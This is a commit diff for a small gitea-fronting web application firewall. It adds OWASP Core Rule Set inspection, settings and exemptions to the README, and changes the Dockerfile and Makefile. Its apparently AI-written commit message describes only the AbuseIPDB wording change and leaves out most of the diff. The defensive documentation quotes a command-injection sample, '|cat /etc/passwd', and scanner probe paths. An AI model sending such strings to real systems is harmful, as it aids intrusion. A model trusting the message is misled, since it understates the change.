README and SPEC name every offence that has a client checked (closes #151)

The AbuseIPDB section of README.md listed only a broken rate limit or
byte limit, a ban rule match, and a refusal by a block rule or the Core
Rule Set. A client is checked once its history counts any offence, so it
now also names the error burst, a request for a trap path and a refusal
for a missing or wrong token, as "What it does so far" does. The
definition of an offence under "Bans" in SPEC.md now names a refusal for
a missing or wrong token too, as the code counts one.

Model: opus-5-5

Dockerfile

@@ -36,11 +36,12 @@ RUN go mod tidy -diff || \
     { echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
 
 # Go's build cache is kept on a tmpfs, out of the image: nothing uses it
-# after this step, and writing it into the image takes seconds.
+# after this step, and writing it into the image takes seconds. The tests
+# are built with the no_fs_access tag, as the binary is in the build stage.
 RUN --mount=type=tmpfs,target=/root/.cache/go-build \
-    go test -timeout 90s -race -cover ./... || \
+    go test -tags no_fs_access -timeout 90s -race -cover ./... || \
     { echo "--- Rerunning with -v for details ---"; \
-      go test -timeout 90s -race -v ./...; exit 1; }
+      go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
 
 # Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
 # writes pass the test phase's check. Nothing else depends on it, so only
@@ -84,7 +85,10 @@ COPY . .
 # The VERSION build arg when one is given, otherwise
 # `git describe --tags --always` on the .git in the build context. With
 # .git present, a version that is still empty, dev or unknown fails the
-# build: git is missing or could not read the checkout.
+# build: git is missing or could not read the checkout. The no_fs_access
+# tag keeps Coraza from writing the files of a multipart body to the
+# system's temporary directory, since smallwebwaf writes only to its state
+# directory.
 ARG VERSION
 RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
     if [ -e .git ]; then \
@@ -93,7 +97,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
             exit 1 ;; \
         esac; \
     fi; \
-    CGO_ENABLED=0 go build -trimpath \
+    CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
         -ldflags="-s -w -X main.Version=${VERSION}" \
         -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
 
@@ -136,10 +140,14 @@ RUN mkdir /etc/sysusers.d \
 # apt also fetches the live archive's InRelease files, which change daily
 # and which the install does not use. The snapshot service is HTTPS only
 # and this image has no CA certificates yet, so this step uses the Go
-# image's.
+# image's. The snapshot service answers 503 at times; apt retries a
+# failed download, waiting twice as long before each retry, and this
+# step gives it five retries, about half a minute in all, where its
+# default of three gives up after seven seconds.
 RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,target=/tmp/go-image-ca.crt \
     apt-get update --snapshot 20261001T000000Z \
         -o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
+        -o Acquire::Retries=5 \
     && printf '%s\n' \
         '45f95ce276cdba3e41870516a130e03c58b8b7a79e9546b0efe9e526d255740c  snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute_InRelease' \
         '802e675dd9de4c7f3916434a95e7c1d8eec0e82886622d7805ab19a2c6fe0365  snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-updates_InRelease' \
@@ -149,6 +157,7 @@ RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,tar
     && DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
         --snapshot 20261001T000000Z \
         -o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
+        -o Acquire::Retries=5 \
         ca-certificates nix-bin runit \
     && rm -rf /var/lib/apt/lists/*
 

Makefile

@@ -1,11 +1,12 @@
 .PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \
-	run example-app
+	run example-app gitea-requests
 
 # Makefile targets are thin shims; the implementations live in script/
 # per the scripts-to-rule-them-all pattern (see the Entrypoints section
 # of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
 # which test checks. build and run are for working on the code by hand;
-# example-app checks the image with an app built on it.
+# example-app checks the image with an app built on it; gitea-requests
+# reports the gitea requests the Core Rule Set refuses at the defaults.
 
 bootstrap:
 	@script/bootstrap
@@ -45,3 +46,6 @@ run:
 
 example-app:
 	@script/example-app
+
+gitea-requests:
+	@script/gitea-requests

README.md

@@ -32,39 +32,42 @@ percentages fetched the same way, the DNS blocklists (DNSBL zones), which it
 asks about each client in the background, AbuseIPDB, which it asks in the
 background about each client that has committed an offence, and the decision
 list of a CrowdSec engine you run, which it fetches and keeps as a blocklist. So
-are two parts of the last stage, which need no Core Rule Set: the trap paths and
-the error burst. `smallwebwaf` passes each request to the app and the app's
-answer back, unchanged, within its timeouts and size limits, works out each
-client's address, looks up its AS number and country unless you switch that off,
-bans a client that sends too many requests or too many bytes, not counting those
-for the paths you choose, with lower limits for the clients of the AS numbers
-and countries you list, refuses a client that comes from a country you refuse or
+is the last stage: attack detection with the OWASP Core Rule Set, run by Coraza,
+on the method, the URL and the headers of each request, the trap paths and the
+error burst. `smallwebwaf` passes each request to the app and the app's answer
+back, unchanged, within its timeouts and size limits, works out each client's
+address, looks up its AS number and country unless you switch that off, bans a
+client that sends too many requests or too many bytes, not counting those for
+the paths you choose, with lower limits for the clients of the AS numbers and
+countries you list, refuses a client that comes from a country you refuse or
 from a network you refuse, refuses, limits or only notes a client a blocklist or
 a DNSBL zone you name lists, or AbuseIPDB scores at or over the score you set,
 bans a client your CrowdSec engine's decision list lists until that decision
 ends, lets the networks you choose through, checks each request against the rule
 files and the trap paths you name and bans a client whose request is a clear
-sign of attack, bans a client it refuses again and again within a minute for a
-rule, a trap path or a missing or wrong token, keeps its bans, each client's
+sign of attack, refuses a request the Core Rule Set takes for an attack, bans a
+client it refuses again and again within a minute for a rule, a trap path, the
+Core Rule Set or a missing or wrong token, keeps its bans, each client's
 counters and history, GeoJS's answers, the last good copy of each list it
 fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and the AbuseIPDB checks
 spent today in JSON files across restarts, takes in your edits of those files,
 such as a ban you make, keep or lift, and of the rule files while it runs,
 writes a JSON log line for every request, sends its log lines to a syslog server
 too if you name one, sends an alert to a webhook, to Slack and to ntfy, each if
-you name one, for each ban it makes or makes permanent, for traffic over an
-anomaly threshold you set, for a client a blocklist, the CrowdSec decision list,
-a DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot fetch, a
-DNSBL zone or AbuseIPDB that fails or refuses a query and the day's AbuseIPDB
-checks used up, for a rule file or state file with an error and for a
-replacement of the lookup database it cannot read, serves Prometheus metrics to
-a scraper that holds the metrics token, lets an admin who holds the admin token
-list, add and lift bans and ask what it knows of a client, and in `observe` mode
-passes on the requests it would refuse, logging what it would have done with
-them. It comes as the image the app's own image is built on. The rest of the
-design comes after that, in the order of the build order in
-[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in
-[`EVALUATION.md`](EVALUATION.md).
+you name one, for each ban it makes or makes permanent, for a request the Core
+Rule Set takes for an attack, for traffic over an anomaly threshold you set, for
+a client a blocklist, the CrowdSec decision list, a DNSBL zone or AbuseIPDB
+lists, for GeoJS failing, a list it cannot fetch, a DNSBL zone or AbuseIPDB that
+fails or refuses a query and the day's AbuseIPDB checks used up, for a rule file
+or state file with an error and for a replacement of the lookup database it
+cannot read, serves Prometheus metrics to a scraper that holds the metrics
+token, lets an admin who holds the admin token list, add and lift bans and ask
+what it knows of a client, and in `observe` mode passes on the requests it would
+refuse, logging what it would have done with them. It comes as the image the
+app's own image is built on. The Core Rule Set reads a request's body too once
+`SWWAF_WAF_BODY_LIMIT` is set. The rest of the design comes next, in the order
+of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools that
+led to the design is in [`EVALUATION.md`](EVALUATION.md).
 
 ## Getting started
 
@@ -93,9 +96,14 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
 ## What it does so far
 
 - Passes each request to the app and the app's answer back unchanged: method,
-  path, query, headers, body and status. Bodies stream through in both
-  directions and are never held whole in memory. A WebSocket, or any other
-  upgraded connection, passes through, and the timeouts do not cut it.
+  path, query, headers, body and status. The one exception is a path starting
+  with `//` that holds a character Go escapes, such as `|`: Go cannot send it as
+  it is, and the app receives it decoded and escaped again, `%2F` as `/`. Bodies
+  stream through in both directions and are never held whole in memory, but for
+  the part of a request body the Core Rule Set reads, at most
+  `SWWAF_WAF_BODY_LIMIT` and one byte more, which is held until the app is sent
+  it. A WebSocket, or any other upgraded connection, passes through, and the
+  timeouts do not cut it.
 - Works out the client's address. A TCP peer outside `SWWAF_TRUSTED_PROXIES` is
   the client, and the forwarded headers it sends are replaced, not passed on.
   For a peer inside it, `X-Forwarded-For` is read from the right, and the first
@@ -105,29 +113,30 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
   `X-Forwarded-Proto`, and `X-Forwarded-For` with the peer added at the end. It
   also gets the request's id in `X-Request-ID`, the same id as in the request's
   log line (see `request_id` in "Request log" below).
-- Enforces the timeouts and the size limits below. A limit passed before the
-  response has started gets `smallwebwaf`'s own answer: `408` for a client too
-  slow to send its request, `413` for a request body that is too large, `504`
-  for an app too slow to answer, and `502` for a response that is too large or
-  an app that cannot be reached. A request that announces a body over the limit
-  is refused before anything reaches the app. While a request body is still on
-  its way, a request timeout that runs out answers `408` if `smallwebwaf` was
-  waiting for the client to send more, and `504` if it was waiting for the app
-  to take what it had. Once the response has started, a limit can only cut the
-  connection.
+- Enforces the timeouts and the size limits below. Once a request's line and
+  headers have been read, a limit passed before the response has started gets
+  `smallwebwaf`'s own answer: `408` for a client too slow to send its body,
+  `413` for a request body that is too large, `504` for an app too slow to
+  answer, and `502` for a response that is too large or an app that cannot be
+  reached. A request that announces a body over the limit is refused before
+  anything reaches the app. While a request body is still on its way, a request
+  timeout that runs out answers `408` if `smallwebwaf` was waiting for the
+  client to send more, and `504` if it was waiting for the app to take what it
+  had. Once the response has started, a limit can only cut the connection.
 - Counts each client's requests over a minute, an hour and a day. A request that
   takes the client over one of the rate limits below is refused with
   `SWWAF_BAN_RESPONSE`, `403` by default, before anything reaches the app, and
   bans the client. A request whose path starts with one of
   `SWWAF_RATE_LIMIT_EXEMPT_PATHS`, as that setting below describes, is neither
   counted nor refused by the rate limits; the static lists, bans, the country
-  lists and the rule files still apply to it. A client is one IPv4 address, or
-  one IPv6 group, the netblock of `SWWAF_IPV6_GROUP_PREFIX` its address is in, a
-  /64 by default, since one abuser usually holds a whole /64. Each window is
-  counted in two fixed buckets, the earlier one weighted by how much of it the
-  window still covers. At most `SWWAF_MAX_TRACKED_CLIENTS` clients are kept,
-  20,000 by default, the least recently seen dropped first, with their history,
-  and a restart gives no client a fresh allowance (see "State files" below).
+  lists, the rule files and the Core Rule Set still apply to it. A client is one
+  IPv4 address, or one IPv6 group, the netblock of `SWWAF_IPV6_GROUP_PREFIX` its
+  address is in, a /64 by default, since one abuser usually holds a whole /64.
+  Each window is counted in two fixed buckets, the earlier one weighted by how
+  much of it the window still covers. At most `SWWAF_MAX_TRACKED_CLIENTS`
+  clients are kept, 20,000 by default, the least recently seen dropped first,
+  with their history, and a restart gives no client a fresh allowance (see
+  "State files" below).
 - Counts each client's bytes over a minute, an hour and a day, in the same way:
   once a request passed to the app has ended, the body bytes of its answer, of
   the request, or of both, as `SWWAF_BYTES_COUNT` says. For a WebSocket, or any
@@ -191,11 +200,62 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
   rate limits and before the rule files, which it does not need. A request for
   one is refused with `SWWAF_BAN_RESPONSE` and bans the client's netblock for a
   clear sign of attack, as a `ban` rule's match does. A trap path is matched
-  against the path a `path` rule sees: as the client sent it, before any
-  decoding and without the query, the whole of it, character for character.
-  `/wp-login.php` matches `/wp-login.php?redirect_to=x`, but not
-  `/wp-login.php/`, `/WP-LOGIN.PHP`, `/blog/wp-login.php` or `/%77p-login.php`.
-  A client in `SWWAF_ALLOW_NETS` is not checked.
+  against the path a `path` rule sees: without the query, as the client sent it
+  and once percent-decoded, the whole of it, character for character.
+  `/wp-login.php` matches `/wp-login.php?redirect_to=x` and `/%77p-login.php`,
+  but not `/wp-login.php/`, `/WP-LOGIN.PHP`, `/blog/wp-login.php` or
+  `/%2577p-login.php`. The ban's notes give the path as the client sent it. A
+  client in `SWWAF_ALLOW_NETS` is not checked.
+- Inspects each request with the OWASP Core Rule Set 4.25.0, run by Coraza,
+  after the rule files, unless `SWWAF_WAF_MODE` is `off`: its method, its URL
+  with the query, and its headers, and, once `SWWAF_WAF_BODY_LIMIT` is set, its
+  body when it is form data, multipart, JSON or XML, as that setting below
+  describes; no response is inspected. Each of its rules that matches adds to
+  the request's anomaly score, up to the paranoia level
+  `SWWAF_WAF_PARANOIA_LEVEL` sets. A request with more than 1000 query
+  parameters, or more than 1000 fields in a form data or JSON body it reads,
+  adds 5 (rule 900300), as a rule rated critical does, since Coraza reads only
+  the first 1000. A score at or over `SWWAF_WAF_ANOMALY_THRESHOLD`, 5 by
+  default, is a match: in `block` mode, the default, the request is refused with
+  `403`, and in `detect` mode it goes on to the app. Either way its log line
+  names the rules and the score (see `waf_rule_ids` and `waf_score` in "Request
+  log" below), and it raises a `waf_block` alert. A refusal bans no one by
+  itself, since the Core Rule Set takes some ordinary requests for attacks, but
+  it is an offence the client's history counts, and it counts toward the error
+  burst; a match in `detect` mode is neither. A request a rule file refuses, one
+  for a path `SWWAF_WAF_EXEMPT_PATHS` exempts, and one from a client in
+  `SWWAF_ALLOW_NETS` are not inspected. `smallwebwaf` changes the Core Rule Set
+  in six ways, so that gitea's ordinary requests get through, and no setting
+  undoes them:
+    - `PUT`, `PATCH` and `DELETE` are allowed besides `GET`, `HEAD`, `POST` and
+      `OPTIONS`; any other method stays refused.
+    - The headers `Expect` and `Content-Encoding` are allowed; the others the
+      Core Rule Set refuses, such as `Proxy` and `Content-Range`, stay refused.
+      Once `SWWAF_WAF_BODY_LIMIT` is set, `Content-Encoding` is refused again
+      (rule 920450) on form data, multipart, JSON and XML, the kinds of body the
+      Core Rule Set reads, since a compressed body cannot be inspected; so it is
+      on a JSON or XML body too large to be read.
+    - The query parameter `redirect_uri` is not checked for a URL naming an IP
+      address or `localhost` (rules 931100 and 934110), which Git Credential
+      Manager, git-credential-oauth and tea ask to be sent back to.
+    - The query parameters `path`, `files`, `skip-to`, `sub_path`, `ref`, `sha`,
+      `branch`, `workflow`, `artifactName` and `redirect_to` are not checked
+      against the lists of system files (930120), shell paths (932160) and
+      command names (932260), so that a file such as `.gitignore` or a branch
+      such as `docker-build` gets through there. So does what only these rules
+      refuse, such as `|cat /etc/passwd`; path traversal and SQL injection are
+      still refused there. These names, and `redirect_uri` above, are matched
+      without regard to case, as Coraza matches them, so `Path` or `PATH` is
+      treated as `path`. Once `SWWAF_WAF_BODY_LIMIT` is set, they are left out
+      in the same way among the fields of a form data or multipart body, which
+      Coraza holds with the query parameters, and gitea posts some of them in
+      its forms: `redirect_uri` when an OAuth sign-in is granted, and `ref` when
+      a workflow is run by hand. A field of a JSON body is named by its path,
+      such as `json.path`, and keeps these rules.
+    - The cookies `gitea_flash` and `redirect_to` are not read, and `Referer` is
+      not checked for a Unix command given without arguments (932340) or for
+      Java starting a process (944110); it is checked by every other rule.
+    - Responses are not inspected.
 - Bans a client for a clear sign of attack, as "Bans" in [`SPEC.md`](SPEC.md)
   describes: the first such ban lasts `SWWAF_ATTACK_BAN_DURATION`, seven days by
   default, and any request from the netblock while it lasts makes it permanent.
@@ -207,18 +267,18 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
   path asked for, in place of the limit.
 - Bans a client that `smallwebwaf` refused more than
   `SWWAF_ERROR_BURST_THRESHOLD` times within a minute, 30 by default, after a
-  match of a `block` or `ban` rule or a trap path, or for a missing or wrong
-  token at one of its own endpoints, as a broken rate limit bans it. Each such
-  refusal is counted once it has been answered, in two buckets of a minute, as
-  the rate limits count requests. The refusal that takes the client over the
-  threshold breaks the error burst; it is answered as any other such refusal is,
-  and the client's next request is refused under the ban. The app's own answers,
-  such as its `401` and `404`, are not counted. The threshold is the same for
-  every client, whatever percentage of the rate limits a biased threshold or a
-  reputation source gives it. A client in `SWWAF_ALLOW_NETS` is not counted, and
-  one in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is. The ban's notes give `refusals` as
-  what the limit is on, the threshold as the limit, and the refusals counted in
-  the minute.
+  match of a `block` or `ban` rule, a trap path or the Core Rule Set, or for a
+  missing or wrong token at one of its own endpoints, as a broken rate limit
+  bans it. Each such refusal is counted once it has been answered, in two
+  buckets of a minute, as the rate limits count requests. The refusal that takes
+  the client over the threshold breaks the error burst; it is answered as any
+  other such refusal is, and the client's next request is refused under the ban.
+  The app's own answers, such as its `401` and `404`, are not counted. The
+  threshold is the same for every client, whatever percentage of the rate limits
+  a biased threshold or a reputation source gives it. A client in
+  `SWWAF_ALLOW_NETS` is not counted, and one in `SWWAF_RATE_LIMIT_EXEMPT_NETS`
+  is. The ban's notes give `refusals` as what the limit is on, the threshold as
+  the limit, and the refusals counted in the minute.
 - Looks up the AS number and country of every client through GeoJS, or in the
   IPinfo Lite database file while `SWWAF_LOOKUP_SOURCE` is `file`, after the
   static lists and bans, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Country and
@@ -270,49 +330,50 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
   DNSBL zones and before the rate limits (see "AbuseIPDB" below), by the scores
   it keeps. Only a client whose history counts an offence is checked, so far one
   that has broken a rate limit, a byte limit or the error burst, matched a ban
-  rule, asked for a trap path, or had a request refused by a block rule or for a
-  missing or wrong token, and only in the background, so that no request waits
-  for AbuseIPDB. A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE` is a hit, and
-  `SWWAF_REPUTATION_ACTION` does with its client what it does with one a DNSBL
-  zone's verdict lists. The request's log line names AbuseIPDB, and it raises an
-  alert. A client a blocklist or a DNSBL zone refuses, or the CrowdSec decision
-  list bans, is not checked.
+  rule, asked for a trap path, or had a request refused by a block rule, by the
+  Core Rule Set or for a missing or wrong token, and only in the background, so
+  that no request waits for AbuseIPDB. A score at or over
+  `SWWAF_ABUSEIPDB_MIN_SCORE` is a hit, and `SWWAF_REPUTATION_ACTION` does with
+  its client what it does with one a DNSBL zone's verdict lists. The request's
+  log line names AbuseIPDB, and it raises an alert. A client a blocklist or a
+  DNSBL zone refuses, or the CrowdSec decision list bans, is not checked.
 - Checks the client's own address against the static lists, the three netblock
   settings below, before anything else, its lookup included. A client in
   `SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the CrowdSec
   decision list, the DNSBL zones, AbuseIPDB, the rate limits, the byte limits,
-  the trap paths, the rule files and the error burst, and is not looked up; the
-  timeouts and size limits still apply. A client in `SWWAF_DENY_NETS` is refused
-  with `SWWAF_BAN_RESPONSE` before its body is read, and the request is not
-  counted for the rate limits; an address in `SWWAF_ALLOW_NETS` too is let
-  through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor
-  refused by the rate limits, and has no bytes counted by the byte limits; the
-  country lists, the trap paths, the rule files, the error burst and bans still
+  the trap paths, the rule files, the Core Rule Set and the error burst, and is
+  not looked up; the timeouts and size limits still apply. A client in
+  `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its body is
+  read, and the request is not counted for the rate limits; an address in
+  `SWWAF_ALLOW_NETS` too is let through. A client in
+  `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate
+  limits, and has no bytes counted by the byte limits; the country lists, the
+  trap paths, the rule files, the Core Rule Set, the error burst and bans still
   apply to it.
 - In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests
   that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec
   decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit, a trap
-  path or a rule would refuse: it passes them to the app, and their log lines
-  name what `enforce` mode would have done (see `would_action` in "Request log"
-  below). The checks run, and requests, bytes and refusals are counted, as in
-  `enforce` mode, with three differences: neither a broken rate limit, byte
-  limit or error burst, a `ban` rule, a trap path nor the CrowdSec decision list
-  makes a ban; a broken limit does not set the client's counters back to zero,
-  so each request over a rate limit is logged as one that would be refused, each
-  whose bytes keep the client over a byte limit as breaking it, and each refusal
-  that keeps it over the error burst as breaking that; and a request under a ban
-  does not make it permanent. As in `enforce` mode, the bytes counted are only
-  those of the requests `enforce` mode would have passed to the app, and the
-  refusals counted for the error burst only those it would have made: a request
-  it would have refused before it reached an endpoint is not counted for its
-  token. A ban it would have made, or made permanent, raises the alert `enforce`
-  mode would have raised, marked as what would have happened (see "Alerts"
-  below). The bans in `bans.json` are kept, and refuse requests again when
-  `smallwebwaf` next runs in `enforce` mode, as long as they last. The timeouts
-  and size limits still apply, since they protect `smallwebwaf` and the app
-  themselves, and a request for one of `smallwebwaf`'s own endpoints without its
-  token is still answered `401`. It is for trying a configuration before
-  enforcing it.
+  path, a rule or the Core Rule Set would refuse: it passes them to the app, and
+  their log lines name what `enforce` mode would have done (see `would_action`
+  in "Request log" below). The checks run, and requests, bytes and refusals are
+  counted, as in `enforce` mode, with three differences: neither a broken rate
+  limit, byte limit or error burst, a `ban` rule, a trap path nor the CrowdSec
+  decision list makes a ban; a broken limit does not set the client's counters
+  back to zero, so each request over a rate limit is logged as one that would be
+  refused, each whose bytes keep the client over a byte limit as breaking it,
+  and each refusal that keeps it over the error burst as breaking that; and a
+  request under a ban does not make it permanent. As in `enforce` mode, the
+  bytes counted are only those of the requests `enforce` mode would have passed
+  to the app, and the refusals counted for the error burst only those it would
+  have made: a request it would have refused before it reached an endpoint is
+  not counted for its token. A ban it would have made, or made permanent, raises
+  the alert `enforce` mode would have raised, marked as what would have happened
+  (see "Alerts" below). The bans in `bans.json` are kept, and refuse requests
+  again when `smallwebwaf` next runs in `enforce` mode, as long as they last.
+  The timeouts and size limits still apply, since they protect `smallwebwaf` and
+  the app themselves, and a request for one of `smallwebwaf`'s own endpoints
+  without its token is still answered `401`. It is for trying a configuration
+  before enforcing it.
 - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any
   check and without asking the app, for the image's health check.
 - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for
@@ -331,17 +392,18 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
 - Sends every line it writes on stdout to a syslog server as well, while
   `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server"
   below).
-- Sends an alert for each ban it makes or makes permanent, for a count over an
-  anomaly threshold, for a client a blocklist, the CrowdSec decision list, a
-  DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot fetch, the
-  CrowdSec decision list among them, a DNSBL zone or AbuseIPDB that fails or
-  refuses a query, and the day's AbuseIPDB checks used up, for a rule file or
-  state file with an error, and for a replacement of the lookup database it
-  cannot read, holding back repeats and, past an hourly limit, rolling the rest
-  into one summary, to each destination you name: as a JSON object to the
-  webhook `SWWAF_ALERT_WEBHOOK_URL` names, as a message to the Slack incoming
-  webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a message to the ntfy
-  topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below).
+- Sends an alert for each ban it makes or makes permanent, for a match of the
+  Core Rule Set, for a count over an anomaly threshold, for a client a
+  blocklist, the CrowdSec decision list, a DNSBL zone or AbuseIPDB lists, for
+  GeoJS failing, a list it cannot fetch, the CrowdSec decision list among them,
+  a DNSBL zone or AbuseIPDB that fails or refuses a query, and the day's
+  AbuseIPDB checks used up, for a rule file or state file with an error, and for
+  a replacement of the lookup database it cannot read, holding back repeats and,
+  past an hourly limit, rolling the rest into one summary, to each destination
+  you name: as a JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as
+  a message to the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names,
+  and as a message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts"
+  below).
 - Counts requests and their bytes over a minute and an hour, per client, per
   netblock around a client, per AS number, for the whole service and per named
   netblock, and sends an `anomaly` alert for a count over the anomaly threshold
@@ -621,18 +683,77 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or
   rule files. A directory that does not exist stops the start.
 - `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file, and checks
   no request against one.
+- `SWWAF_WAF_MODE` (default `block`): what the Core Rule Set does with a match:
+  `block` refuses it with `403`, `detect` lets it through, logged and alerted,
+  and `off` inspects no request (see "What it does so far" above).
+- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
+  from 1 to 4. Each level up runs more of its rules, which find more attacks and
+  take more ordinary requests for them.
+- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the anomaly score at which a
+  request is a match. A rule the Core Rule Set rates critical adds 5, so by
+  default one such rule is enough. `off` makes no request a match; the scores
+  are still logged.
+- `SWWAF_WAF_DISABLED_RULES` (default
+  `920340,920420,920440,920640,930130,930140`): the ids of the Core Rule Set's
+  rules to switch off, such as one that refuses ordinary requests of your app;
+  the request log names the rules a request matched in `waf_rule_ids`. The
+  default switches off the rules that refuse a request for the type of its body,
+  when it is missing or not on the Core Rule Set's short list (920340, 920420,
+  920640), for its file extension, such as `.sh` or `.sql` (920440), and for a
+  file or directory name in its path, such as `.git/`, `.gitignore`,
+  `Dockerfile`, `package.json` or an editor's settings directory (930130,
+  930140). In front of a code forge these refuse git over HTTP, container image
+  and package uploads, and views of ordinary files in a repository; the default
+  rule file bans the common probes for such files at the site root instead (see
+  "Rule files" below). A list given replaces the default, so include them in it;
+  set but empty, it switches no rule off. An item that is not a whole number
+  above zero stops the start, as does one from 900000 to 900999, the ids of the
+  rules that set the Core Rule Set up and of `smallwebwaf`'s own, so that no
+  setting undoes its changes. The id of no rule switches nothing off.
+- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes whose requests the
+  Core Rule Set does not inspect, each starting with `/`, matched as
+  `SWWAF_RATE_LIMIT_EXEMPT_PATHS` matches its own: a request whose path holds
+  `..`, a backslash or an encoded slash is inspected whatever its prefix.
+- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off` has the Core Rule Set read no
+  request body. A size, such as `128K`, at most `1G`, has it read a body of form
+  data or multipart up to that size, the rest of a longer one passing on to the
+  app as it arrives, without being held, and a JSON or XML body no larger than
+  that size, since those cannot be read in part. A body is JSON when its type is
+  `application/json` or `text/json`, or an `application/` or `text/` type ending
+  in `+json`, and XML when its type is `application/xml` or `text/xml`, or an
+  `application/` or `text/` type ending in `+xml`. Any other body reaches the
+  app uninspected, and so does a larger JSON or XML body: the Core Rule Set
+  would read any other body as form data, where binary content such as a git
+  push trips rules written for text. A body it reads that Coraza cannot parse
+  (rule 900440), and a multipart body that fails Coraza's strict checks (rule
+  900450), add 5 to the score, as a rule rated critical does, since no rule
+  reads what comes after the fault. So does a multipart body the limit cuts
+  before the colon of a part's header line, or between the carriage return and
+  the line feed that end a part's header line or the empty line after its
+  headers, since Coraza takes the line the limit cuts for a malformed header.
+  The client has until `SWWAF_CLIENT_REQUEST_TIMEOUT` runs out to send the part
+  that is read, and a request whose body passes `SWWAF_REQUEST_MAX_BYTES` within
+  it is refused before anything reaches the app. Of a file in a multipart body,
+  Coraza counts the bytes and writes nothing. Body inspection suits apps whose
+  forms carry no code. In front of gitea it refuses issue and comment text, wiki
+  pages and files saved in the web editor that hold shell commands or code
+  (932125, 932235, 932250 and others), package descriptions that show code, PyPI
+  uploads (922130), and attachments named like `debug.log` or `config.yml`
+  (932180), until the rule ids the request log names are added to
+  `SWWAF_WAF_DISABLED_RULES`.
 - `SWWAF_TRAP_PATHS` (default empty): paths the app never serves and only
   scanners ask for, such as `/wp-login.php,/xmlrpc.php` in front of gitea; a
   request for one bans its client for a clear sign of attack, as a `ban` rule
   does, with or without rule files (see "What it does so far" above). A path
-  that does not start with `/`, or holds a `?`, which no path a `path` rule sees
-  holds, stops the start.
+  that does not start with `/`, or holds a `?`, as one written with a query
+  does, stops the start.
 - `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most requests of a client in
-  a minute that `smallwebwaf` may refuse after a rule file match or a trap path,
-  or for a missing or wrong token; one more breaks the error burst, and bans the
-  client as a broken rate limit does (see "What it does so far" above). A client
-  trying one probe or token after another is refused many times a minute, a
-  person rarely more than a few times. `off` switches it off.
+  a minute that `smallwebwaf` may refuse after a rule file match, a trap path or
+  a Core Rule Set match, or for a missing or wrong token; one more breaks the
+  error burst, and bans the client as a broken rate limit does (see "What it
+  does so far" above). A client trying one probe or token after another is
+  refused many times a minute, a person rarely more than a few times. `off`
+  switches it off.
 - `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that every line on
   stdout is also sent to, as `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`
   with a host and a port, such as `syslog+tls://logs.example:6514`. Unset or
@@ -678,8 +799,7 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or
   `SWWAF_INSTANCE_NAME`, which ntfy is sent in the title.
 - `SWWAF_ALERT_EVENTS` (default
   `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`):
-  the events alerts are sent for. `waf_block` comes with the Core Rule Set;
-  nothing raises it yet.
+  the events alerts are sent for.
 - `SWWAF_ALERT_COOLDOWN` (default `15m`): how long a repeat of an alert is held
   back (see "Alerts" below).
 - `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour;
@@ -727,8 +847,9 @@ number, in either case. Percentages are whole numbers from 0 to 100, and an
 entry of a list of them is an AS number or a country, `:` and a percentage; an
 AS number or a country listed twice in one of them stops the start. `off`
 switches a timeout, a size limit, a rate limit, a byte limit, an anomaly
